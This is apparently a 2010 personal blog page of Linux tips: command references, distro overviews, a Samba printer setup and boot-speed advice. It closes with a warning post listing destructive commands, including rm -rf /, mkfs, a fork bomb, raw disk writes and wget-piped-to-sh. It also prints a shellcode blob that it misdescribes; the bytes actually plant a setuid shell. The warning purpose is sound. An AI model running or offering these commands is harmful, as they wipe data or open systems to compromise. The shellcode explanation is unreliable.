Tips related to

yogasana (102) Technical (74) diary (37) computer tips (36) social (25) software (19) Linux (14) fun (11) entertenment (9) mystry (9) hacking tutorial (8) spiritual (8) sports (8) save the earth (5) intresting programs (4)
Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Saturday, 10 July 2010

Miscellaneous Bugfixes


This stable update adds a few important corrections to the following packages:

PackageReason
alien-arenaFix a buffer overflow and a denial of service
apache2Add missing psmisc dependency; fix memory leak in brigade cleanup
apache2-mpm-itkEnsure child processes get correctly reaped on reload
aprSet FD_CLOEXEC on file descriptors to avoid potential leaks
aptAllow Files sections to contain more than 999 characters
base-filesUpdate /etc/debian_version for the point release
cpioFix buffer overflow in rmt_read__
dia2codeFix segfault parsing large files
gtk+2.0Fix hang when printing large documents
libapache-dbi-perlFix loading of module from Apache startup files
libapache2-mod-perl2Fix XSS in Apache2::Status
libjavascript-perlFix segfault when calling non-existent function
libjson-rubyFix parser DoS and use libjs-prototype rather than embedding the library
liblog-handler-perlAdd missing dependency on libuniversal-require-perl
libmediawiki-perlUpdate to match mediawiki changes
libnamespace-clean-perlAdd missing dependency on libscope-guard-perl
libnet-smtp-server-perlAdd missing dependency on libnet-dns-perl
libxextEnsure display lock is held before calling XAllocID
linux-2.6Several fixes and driver updates
mailmanDon't add multiple Mime-Version headers
mpg123Allow modules to be located again (broken by libltdl security fix)
nanoFix symlink attack and arbitrary file ownership change issue
nfs-utilsUpdate test for NFS kernel server support in init script to support partial upgrades
nutMove library to /lib to allow power-down with separated /usr
open-iscsiFix temporary file vulnerability
opensslCheck return value of bn_wexpand() (CVE-2009-3245)
openttdFix several DoS and crash vulnerabilities
php5Fix overflows, add missing sybase aliases, improve e-mail validation
popplerFix remote code execution via crafted PDF files
postgresql-8.3Several vulnerabilities
pyftpdSecurity fixes - disable default users, anonymous access and logging to /tmp
python-supportUse sane default umask in update-python-modules
request-tracker3.6Fix login problem introduced in security update
sambaFix memory leaks with domain trust passwords; fix interdomain trust with Windows 2008 r2 servers
slimMake magic cookie less predictable; don't save screenshots in /tmp
sun-java5Update to new upstream release to fix security issues
sun-java6Update to new upstream release to fix security issues
tarSecurity fix in rmt
texlive-binSecurity fixes in dvips
tlaFix DoS in embedded expat library
tzdataUpdate timezone data
usbutilsUpdate USB ID list
user-mode-linuxRebuild against linux-2.6 2.6.26-24
wordpressFix DoS
xerces-c2Fix DoS attack with nested DTDs
xmonad-contribFix installability on 64-bit architectures
xserver-xorg-input-elographicsPrevent X server hangs when using the touchscreen
xserver-xorg-video-intelAdd support for ASUS eeetop LVDS output

UNIX / Linux Command Summary


access()
Used to check the accessibility of files

int
Access(pathname, access_mode)
Char* pathname;
int access-mode;
The access modes are.
04 read
02 write
01 execute (search)
00 checks existence of a file

& operator
execute a command as a background process.

banner
prints the specified string in large letters. Each argument may be upto 10 characters long.

break
is used to break out of a loop. It does not exit from the program.

Cal
Produces a calender of the current month as standard output. The month (1-12) and year (1-9999) must be specified in full numeric format.

Cal [[ month] year]

Calendar
Displays contents of the calendar file

case operator
The case operator is used to validate multiple conditions.

Case $string in

Pattern 1)
Command list;;
Command list;;

Pattern 3)
Command list;;
easc

cat
(for concatenate) command is used to display the contents of a file. Used without arguments it takes input from standard input is used to terminate input.

cat [filename(s)]
cat > [filename]
Data can be appended to a file using >>

Some of the available options are :
Cat [-options] filename(S)
-s silent about files that
cannot be accessed
-v enables display of non printinging characters (except tabs, new lines, form-

feeds)
-t when used with –v, it causes tabs to be printed as ^I’s
-e when used with –v, it causes $ to be printed at the end of each line
The –t and –e options are ignored if the –v options is not specified.

cd
Used to change directories

chgrp
Changes the group that owns a file.
Chgrp [grou –id] [filename]

chmod
Allows file permissions to be changed for each user. File permissions can be changed only by the owner (s).
Chmod [+/-][rwx] [ugo] [filename]

chown
Used to change the owner of a file.
The command takes a file(s) as source files and the login id of another user as the target.
Chown [user-id] [filename]

cmp
The cmp command compares two files (text or binary) byte-by-byte and displays the first occurrence where the files differ.
Cmp [filename1] [filename2] -1 gives a long listing

comm.
The comm command compares two sorted files and displays the instances that are common. The display is separated into 3 columns.
Comm. filename1 filename2
first displays what occurs in first files but not in the second
second displays what occurs in second file but not in first
third displays what is common in both files

continue statement
The rest of the commands in the loop are ignored. It moves out of the loop and moves on the next cycle.

cp
The cp (copy) command is used to copy a file.
Cp [filename1] [filename2]

cpio(copy input/output)
Utility program used to take backups.
Cpio operates in three modes:
-o output
-i input
-p pass

creat()
the system call creates a new file or prepares to rewrite an existing file. The file pointer is set to the beginning of file.
#include
#include
int creat(path, mode)

char *path;
int mode;

cut
used to cut out parts of a file. It takes filenames as command line arguments or input from standard input. The command can cut columns as well as fields in a file. It however does not delete the selected parts of the file.
Cut [-ef] [column/fie,d] filename
Cut-d “:” –f1,2,3 filename
Where –d indicates a delimiter specified within “:”

df
used to find the number of free blocks available for all the mounted file systems.
#/etc/df [filesystem]

diff
the diff command compares text files. It gives an index of all the lines that differ in the two files along with the line numbers. It also displays what needs to be changed.
Diff filename1 filename2

echo
The echo command echoes arguments on the command line.
echo [arguments]

env
Displays the permanent environment variables associated with a user’s login id

exit command
Used to stop the execution of a shell script.

expr command
Expr (command) command is used for numeric computation.
The operators + (add), -(subtract), *(multiplu), /(divide), (remainder) are allowed. Calculation are performed in order of normal numeric precedence.

find
The find command searches through directories for files that match the specified criteria. It can take full pathnames and relative pathnames on the command line.
To display the output on screen the –print option must be specified

for operator
The for operator may be used in looping constructs where there is repetitive execution of a section of the shell program.
For var in vall val2 val3 val4;

Do commnds; done

fsck

Used to check the file system and repair damaged files. The command takes a device name as an argument
# /etc/fsck /dev/file-system-to-be-checked.

grave operator
Used to store the standard the output of a command in an enviroment variable. (‘)

grep
The grep (global regular expression and print) command can be used as a filter to search for strings in files. The pattern may be either a fixed character string or a regular expression.
Grep “string” filename(s)

HOME
User’s home directory

if operator
The if operator allows conditional operator

If expression; then commands; fi
if … then…else… fi
$ if; then

commands
efile; then

commands
fi

kill
used to stop background processes

In
used to link files. A duplicate of a file is created with another name

LOGNAME
displays user’s login name

ls
Lists the files in the current directory

Some of the available options are:
-l gives a long listing
-a displays all file{including hidden files

lp
used to print data on the line printer.
Lp [options] filename(s)

mesg
The mesg command controls messages received on a terminal.
-n does not allow messages to be displayed on screen
-y allows messages to be displayed on screen

mkdir
used to create directories

more
The more command is used to dispay data one screenful at a time.
More [filename]

mv
Mv (move) moves a file from one directory to another or simply changes filenames. The command takes filename and pathnames as source names and a filename or exiting directory as target names.
mv [source-file] [target-file]

news
The news command allows a user to read news items published by the system administrator.

ni
Displays the contents of a file with line numbers

passwd
Changes the password

paste
The paste command joins lines from two files and displays the output. It can take a number of filenames as command line arguments.
paste file1 file2

PATH
The directories that the system searches to find commands

pg
Used to display data one page (screenful) at a time. The command can take a number of filenames as arguments.
Pg [option] [filename] [filename2]…..

pipe
Operator (1) takes the output of one commands as input of another command.

ps
Gives information about all the active processes.

PS1
The system prompt

pwd
(print working directory) displays the current directory.

rm
The rm (remove) command is used to delete files from a directory. A number of files may be deleted simultaneously. A file(s) once deleted cannot be retrieved.
rm [filename 1] [filename 2]…

sift command
Using shift $1becomes the source string and other arguments are shifted. $2 is shifted to $1,$3to $2 and so on.

Sleep
The sleep command is used to suspend the execution of a shell script for the specified time. This is usually in seconds.

sort
Sort is a utility program that can be used to sort text files in numeric or alphabetical order
Sort [filename]

split
Used to split large file into smaller files
Split-n filename
Split can take a second filename on the command line.

su
Used to switch to superuser or any other user.

sync
Used to copy data in buffers to files

system0
Used to run a UNIX command from within a C program

tail
The tail command may be used to view the end of a file.
Tail [filename]

tar
Used to save and restore files to tapes or other removable media.
Tar [function[modifier]] [filename(s)]

tee
output that is being redirected to a file can also be viewed on standard output.

test command
It compares strings and numeric values.
The test command has two forms : test command itself If test ${variable} = value then
Do commands else do commands

File
The test commands also uses special operators [ ]. These are operators following the of are interpreted by the shell as different from wildcard characters.
Of [ -f ${variable} ]

Then
Do commands
Elif
[ -d ${variable} ]

then
do commands

else
do commands

fi
many different tests are possible for files. Comparing numbers, character strings, values of environment variables.

time
Used to display the execution time of a program or a command. Time is reported in seconds.
Time filename values

tr
The tr command is used to translate characters.
tr [-option] [string1 [string2]]

tty
Displays the terminal pathname

umask
Used to specify default permissions while creating files.

uniq
The uniq command is used to display the uniq(ue) lines in a sorted file.
Sort filename uniq

until
The operator executes the commands within a loop as long as the test condition is false.

wall
Used to send a message to all users logged in.
# /etc/wall message

wait
the command halts the execution of a script until all child processes, executed as background processes, are completed.

wc
The wc command can be used to count the number of lines, words and characters in a fine.
wc [filename(s)]
The available options are:
wc –[options] [filename]
-1
-w
-c
while operator
the while operator repeatedly performs an operation until the test condition proves false.

$ while
Ø do

commands
Ø done

who
displays information about all the users currently logged onto the system. The user name, terminal number and the date and time that each user logged onto the system.
The syntax of the who command is who [options]

write
The write command allows inter-user communication. A user can send messages by addressing the other user’s terminal or login id.
write user-name [terminal number]

Linux and UNIX

Linux is a UNIX Clone

But if you consider Portable Operating System Interface (POSIX) standards then Linux can be considered as UNIX. To quote from Official Linux kernel README file:

Linux is a Unix clone written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX compliance.

However, "Open Group" do not approve of the construction "Unix-like", and consider it misuse of their UNIX trademark.

Linux Is Just a Kernel

Linux is just a kernel. All Linux distributions includes GUI system + GNU utilities (such as cp, mv, ls,date, bash etc) + installation & management tools + GNU c/c++ Compilers + Editors (vi) + and various applications (such as OpenOffice, Firefox). However, most UNIX operating systems are considered as a complete operating system as everything come from a single source or vendor.

As I said earlier Linux is just a kernel and Linux distribution makes it complete usable operating systems by adding various applications. Most UNIX operating systems comes with A-Z programs such as editor, compilers etc. For example HP-UX or Solaris comes with A-Z programs.

License and cost

Linux is Free (as in beer [freedom]). You can download it from the Internet or redistribute it under GNU licenses. You will see the best community support for Linux. Most UNIX like operating systems are not free (but this is changing fast, for example OpenSolaris UNIX). However, some Linux distributions such as Redhat / Novell provides additional Linux support, consultancy, bug fixing, and training for additional fees.


User-Friendly

Linux is considered as most user friendly UNIX like operating systems. It makes it easy to install sound card, flash players, and other desktop goodies. However, Apple OS X is most popular UNIX operating system for desktop usage.

Security Firewall Software

Linux comes with open source netfilter/iptables based firewall tool to protect your server and desktop from the crackers and hackers. UNIX operating systems comes with its own firewall product (for example Solaris UNIX comes with ipfilter based firewall) or you need to purchase a 3rd party software such as Checkpoint UNIX firewall.

Backup and Recovery Software

UNIX and Linux comes with different set of tools for backing up data to tape and other backup media. However, both of them share some common tools such as tar, dump/restore, and cpio etc.

File Systems

Linux by default supports and use ext3 or ext4 file systems.
UNIX comes with various file systems such as jfs, gpfs (AIX), jfs, gpfs (HP-UX), jfs, gpfs (Solaris).

System Administration Tools

UNIX comes with its own tools such as SAM on HP-UX.
Suse Linux comes with Yast
Redhat Linux comes with its own gui tools called redhat-config-*.
However, editing text config file and typing commands are most popular options for sys admin work under UNIX and Linux.

System Startup Scripts

Almost every version of UNIX and Linux comes with system initialization script but they are located in different directories:

HP-UX - /sbin/init.d
AIX - /etc/rc.d/init.d
Linux - /etc/init.d
End User Perspective

The differences are not that big for the average end user. They will use the same shell (e.g. bash or ksh) and other development tools such as Perl or Eclipse development tool.

System Administrator Perspective

Again, the differences are not that big for the system administrator. However, you may notice various differences while performing the following operations:

Software installation procedure
Hardware device names
Various admin commands or utilities
Software RAID devices and mirroring
Logical volume management
Package management
Patch management
UNIX Operating System Names

A few popular names:

HP-UX
IBM AIX
Sun Solairs
Mac OS X
IRIX
Linux Distribution (Operating System) Names

A few popular names:

Redhat Enterprise Linux
Fedora Linux
Debian Linux
Suse Enterprise Linux
Ubuntu Linux
Common Things Between Linux & UNIX

Both share many common applications such as:

GUI, file, and windows managers (KDE, Gnome)
Shells (ksh, csh, bash)
Various office applications such as OpenOffice.org
Development tools (perl, php, python, GNU c/c++ compilers)
Posix interface
A Sample Linux Desktop

A Sample Unix Desktop

Friday, 9 July 2010

Linux Commands


Shell Commands

Shell commands are part of the shell program. There are several different shells (C shell, bash shell, bourne shell etc) to choose from, and each will have a variation of the shell commands built in. The commands vary between shells, but each shell is the same across different linux distros.

Linux Commands

Linux commands are not part of the shell. Each one is a seperate executable program, probably written in the C programming language.
These executables are stored in various directories set up for binary files, such as /bin and /usr/bin. The location of these directories can be defined with the $PATH variable so the shells know where to find them. These commands vary between different linux distrubutions, and remain the same whichever shell you are using.

The Command Prompt

What your prompt looks like will depend on the shell you use (bash, borne, csh etc), and the settings you have for that shell.
I use a bash shell, and have the prompt set up to look like this......

[root@cirrus home]#

This shows me I am logged in as root, to the computer called cirrus, and I am in a folder called home.
TIP: To see the full path of the folder 'home', use the pwd command.

Your prompt is bound to look different, so for the purpose of this section I will just use the > to represent the prompt.

>

Linux Commands

Some linux commands are very simple and need nothing more than the command itself.

For example the command ls (list) will simply list the names of the directories and files in the current directory...

>ls
files/
images/
index.txt
>

In this instance ls shows there are two directories, called files and images, and a text file called index.

However you can often add options or parameters, which are usually added to the command after a '-'.

Adding the option -l will give you a long listing which includes the permissions, ownership, size, date/time, and name of the files and directories...

>ls -l
drwx------ 2 bob bob 4096 Aug 22 10:31 files/
drwx------ 3 bob bob 4096 Mar 19 11:17 images/
-rwx------ 1 bob bob 284 Mar 18 10:23 index.txt
>

Another example would be adding -a (ls -a) to list ALL the files in the current directory, including hidden files.
>ls -a
.hiddenfile
files/
images/
index.txt
>

This shows there is a hidden file (hidden files have a '.' before the filename) called '.hiddenfile', as well as the two directories and index file.

You can use more that one option at a time...

>ls -la would produce a long listing format of ALL (including hidden) directories and files in the current working directory.

There are many options for some linux commands, and the best place to find out about then all is the 'man' pages. These man pages show you how to format the command, and what options and parameters there are to use with each command. You can search our linux man page viewer for a command, and see the output on a web page.

Below is a list of commonly used commands with explanations aimed at Linux command prompt beginners.

Command

Description

cdChange directory
locateFind files
lsList information about file(s)
pwdPrint Working Directory

USEFUL UNIX Commands:


These ten commands are useful for monitoring system access, or simplifying your own environment.

CommandExampleDescription
1. dfdfSee how much free disk space
2. dudu -b subdirEstimate disk usage of directory in Bytes
3. aliasalias lls="ls -alF"Create new command "lls" for long format of ls
4. xhostxhost + threat.tjhsst.edu
xhost -
Permit window to display from x-window program from threat
Allow no x-window access from other systems
5. foldfold -s file1 | lprFold or break long lines at 60 characters and send to printer
6. tartar -cf subdir.tar subdir
tar -xvf subdir.tar
Create an archive called subdir.tar of a directory
Extract files from an archive file
7. ghostview (gv)gv filename.psView a Postscript file
8. ping
(traceroute)
ping threat.tjhsst.edu
traceroute www.yahoo.com
See if machine is alive
Print data path to a machine
9. toptopPrint system usage and top resource hogs
10. logout (exit)logout or exitHow to quit a UNIX shell.

HELPFUL UNIX Commands


These ten commands are very helpful, especially with graphics and word processing type applications.

CommandExampleDescription
1. netscapenetscape &Run Netscape browser
2. xvxv &Run graphics file converter
3. xfig / xpaintxfig & (xpaint &)Run drawing program
4. gimpgimp &Run photoshop type program
5. ispell ispell file1Spell check file1
6. latex latex file.texRun LaTeX, a scientific document tool
7. xemacs / picoxemacs (or pico)Different editors
8. sofficesoffice &Run StarOffice, a full word processor
9. m-tools (mdir, mcopy,
mdel, mformat, etc. )
mdir a:
mcopy file1 a:
DOS commands from UNIX (dir A:)
Copy file1 to A:
10. gnuplotgnuplotPlot data graphically

FUN UNIX Commands


These are ten commands that you might find interesting or amusing. They are actually quite helpful at times, and should not be considered idle entertainment.

Command

Example

Description

1. who

who

Lists who is logged on your machine

2. finger

finger

Lists who is on computers in the lab

3. ytalk

ytalk dhyatt@threat

Talk online with dhyatt who is on threat

4. history

history

Lists commands you've done recently

5. fortune

fortune

Print random humerous message

6. date

date

Print out current date

7. cal

cal 9 2000

Print calendar for September 2000

8. xeyes

xeyes &

Keep track of cursor (in "background")

9. xcalc

xcalc &

Calculator ("background" process)

10. mpage

mpage -8 file1 | lpr

Print 8 pages on a single sheet and send to printer (the font will be small!)

VALUABLE UNIX Commands


CommandExampleDescription
1. grep grep "bad word" *Find which files contain a certain word
2. chmod chmod 644 *.html
chmod 755 file.exe
Change file permissions read only
Change file permissions to executable
3. passwdpasswdChange passwd
4. ps ps aux
ps aux | grep dhyatt
List all running processes by #ID
List process #ID's running by dhyatt
5. kill kill -9 8453Kill process with ID #8453
6. gcc (g++) gcc file.c -o file
g++ fil2.cpp -o fil2
Compile a program written in C
Compile a program written in C++
7. gzip gzip bigfile
gunzip bigfile.gz
Compress file
Uncompress file
8. mail
(pine)
mail me@tjhsst.edu < file1
pine
Send file1 by email to someone
Read mail using pine
9. telnet
ssh
telnet vortex.tjhsst.edu
ssh -l dhyatt jazz.tjhsst.edu
Open a connection to vortex
Open a secure connection to jazz as user dhyatt
10. ftp
ncftp
ftp station1.tjhsst.edu
ncftp metalab.unc.edu
Upload or Download files to station1
Connect to archives at UNC

ESSENTIAL UNIX Commands


CommandExampleDescription
1. lsls
ls -alF
Lists files in current directory
List in long format
2. cdcd tempdir
cd ..
cd ~dhyatt/web-docs
Change directory to tempdir
Move back one directory
Move into dhyatt's web-docs directory
3. mkdirmkdir graphicsMake a directory called graphics
4. rmdirrmdir emptydirRemove directory (must be empty)
5. cpcp file1 web-docs
cp file1 file1.bak
Copy file into directory
Make backup of file1
6. rmrm file1.bak
rm *.tmp
Remove or delete file
Remove all file
7. mvmv old.html new.htmlMove or rename files
8. moremore index.htmlLook at file, one page at a time
9. lprlpr index.htmlSend file to printer
10. manman lsOnline manual (help) about command

Wednesday, 7 July 2010

Types of LINUX Operating Systems


Ubuntu
The most popular and widely used Linux distribution is called "Ubuntu." Ubuntu is aimed at bringing Linux to casual computer users and is comparable in features to Microsoft's Windows operating system. It is estimated that 30 percent of all Linux users use the Ubuntu distribution.
Kubuntu
Kubuntu is similar to Ubuntu in operation. The main difference is that Kubuntu uses a different type of file system than Ubuntu. They both perform the same basic functions, and both are easily accessible to casual computer users.
Debian
Debian is a more complicated version of the Linux operating system. It is what the distributions Ubuntu and Kubuntu are based on, though it is not nearly as accessible to casual computer users. Debian has the ability to operate as a standard desktop computer operating system, as well as an operating system used to run computer servers.
Fedora
Fedora is another example of a Linux distribution. In appearance, Fedora's desktop and standard operations are similar to those of Ubuntu and Kubuntu. Fedora is used primarily for older PCs due to its limited system requirements.
Linux Mint
Linux Mint is a Linux distribution that was modeled after Ubuntu. As opposed to Ubuntu, which has limited functionality when first installed and requires users to pick and choose which applications to install based on their needs, Linux Mint's focus is providing all programs and drivers a user would need immediately after installation.

Tuesday, 23 March 2010

How install/share printer on Redhat linux machine?

Edit /etc/samba/smb.conf file with

[global]
workgroup = WORKGROUP
security = user
printcap name = cups
disable spools = Yes
show add printer wizard = No
printing = cups

[printers]
comment = All Printers
path = /var/spool/samba
printer admin = tech, general
create mask = 0770
guest ok = Yes
printable = Yes
use client driver = Yes
browseable = Yes


# service smb restart (Restar samba server once)

Go to Win client machine

Run--> 192.168.1.11 --> user name --> Password --> right click on shared printer --> connect --> follow up coming istructions.... finish

Linux commands

By default most of the commands you can execute are placed in the /bin folder. However, you can add another folder where your user will look for commands from. Lets do that ;)
(if in any of the following cases you get "permission denied" error, then do the same action, but logged as root.)



(first create that folder, in this example ~/.bin)
$mkdir ~/.bin
(next, lets add that folder to PATH via ~/.bashrc)
$nano ~/.bashrc
(in the ~/.bashrc file, simply add the following line)
$export PATH=$PATH:~/.bin



Great, you have your own folder in which your shells will look for commands whenever you type a command. Now we need to only make bash scripts for the commands in the folder. Note that we could have just made the scripts in the default /bin folder, but for neatness, it's good not to mix your own commands with the system's default ones.

How to make the scripts?


Simply create a file using your favourite text editor, named with the name of the command you want to create, in which you will put all the commands that you want to be executed, each one in a new line, and make that file executable.
So lets make a testscript file that will print out on the screen "it worked!".
Create a file named "testscript" in the .bin folder and put the following line in it:


echo "it worked!"

Save the file. To make it executable run the following command as root:

#chmod +x testscript

Now relogin, or just in a new terminal window test it ;)

$testscript
it worked!

Examples of useful things you can do with what you just learned.
Ever wished synchronizing and updating eix was simpler? Just make a script called synch, or whatever with the commands you wish it to cover:


emerge --sync
update-eix


Just make sure you edit root's .bashrc too, cause the above commands work for root users only. And don't forget to chmod +x it ;)

Ever thought that typing "mplayer -fps 15 tv:// -tv driver=v4l2:device=/dev/v4l/video0", or whatever command you're using for mplayer to use your webcam was too hard to remember?
Make a script called "camera" with that command in.

So you can simplify all your work you do often that includes multiple commands.

10 ways to Tweak your Linux Boot Process

Linux rarely needs to be rebooted. But when it does, it’s often slow to boot. Fortunately, there are ways to speed things up. Some of these methods are not terribly difficult. (although some, unfortunately, are). Let’s take a look.

#1: Disable unnecessary services

Depending upon the use of the machine, plenty of services won’t be needed. Using Linux just for a desktop? Then you won’t need sendmail, httpd, and many other services. If your server is only a Web server, you can shut off many services as well. To do this, you can go to the Administration menu and take a look at the Services entry. Just deselect all of the services you don’t want to start.


#2: Disable unnecessary kernel modules


If your desktop is wired to the Ethernet, you don’t need to have a wireless kernel module loaded. This task is a bit more difficult and will require a kernel recompilation, which is not the easiest task to undertake. To do this, you will need the kernel sources. Then, follow the standard steps for compiling a kernel. The difference is that you’re going to go through your system and disable all of the modules you don’t need.

The best way to find out what kernel modules currently install and run on your system is to install Bootchart. Not only will this give you a good list of modules, it will illustrate for you what is happening during your system boot. You can also issue the command chkconfig –list | grep 3:on to find out what services are running. Once you know what loading modules you don’t need, you can remove them during a kernel recompilation. While you’re at it, compile the kernel to exactly match your architecture


#3: Use a lightweight window manager instead of GNOME or KDE


I plug smaller footprint window managers for a reason — they drastically reduce graphical boot time. Instead of having to wait that extra 30 to 60 seconds for GNOME or KDE to boot up, why not wait two to 10 seconds for Enlightenment or XFCE to boot up? Not only will they save you boot time, they will save your memory and the headache of dealing with bloatware.

#4: Use a text-based login instead of a graphical login

Most of my Linux machines boot to run level 3 instead of run level 5. This will halt at the text-based login, where I only have to log in and issue startx to start my desktop of choice. The graphical logins do two things: increase load times and create headaches trying to recover from an X windows fubar.

#5: Use a lighter-weight distribution


Instead of loading the heavyweight Fedora, why not try a Gentoo, Arch, or Puppy Linux? The boot times for these smaller distributions are far faster than the more bloated Fedora (and even Ubuntu). Of the larger distributions, OpenSuSE claims to boot the fastest, but I have not personally tested this. Between the latest Fedora and Ubuntu, Ubuntu blows Fedora’s boot times away (and that is out of the box).

#6: Use an OpenBIOS


If you’re savvy enough to upgrade your PC’s firmware, you might consider migrating to an open source BIOS. One caveat to using open firmware is that it allows Linux to actually initialize the hardware as it boots (instead of relying on the BIOS). On top of that, many open BIOSes can be configured to meet your machine’s specific needs. If you don’t go the open BIOS route, you can at least configure your BIOS to not search for a floppy drive that’s not there or to boot directly to the first hard drive (instead of the CD drive first).

#7: Avoid dhcp

If you are working on a home network (or a small business network) where address lease isn’t a problem, go with static IP addresses. This will keep your machine from having to call out to a dhcp server to get an IP address. If you take this approach, make sure you configure your /etc/resolve.conf to reflect your DNS server addresses as well.

#8: If you can spare it, get rid of hotplug


Hotplug is the system that allows you to plug in new devices and use them immediately. If you know your server won’t need this system, delete it. This will cut down on boot time. On many systems, hotplugging consumes much of the boot time. Removing hotplug will vary depending upon the distribution you use. NOTE: udev has, for the most part, replaced hotplug. But if you’re running an older distribution, this does apply.

#9: If you are REALLY daring, you could give initng a try


The initng system serves as a replacement for the sysvinit system and promises to drastically decrease boot times in UNIX-like operating systems. If you would like to see the initng system in action, you can give the Pingwinek livecd a try.

#10: Use a hack with Debian


If you’re using Debian, there is a simple hack you can use to switch your startup scripts to run in parallel. If you look at the /etc/init.d/rc script, you will see: CONCURRENCY=none around line 24. Change this line to CONCURRENCY=shell and you should see a reduction in boot times.

That’s about it. Of course there are always more and better hacks out there. But the above should mostly cover everything. The good news is that you’re most likely already running Linux, so the burden of boot times is generally eased by the infrequency of reboots.

Deadly Linux commands that you should avoid.

These are the list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

if you have something to add, please share it here.

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | 100 Web Hosting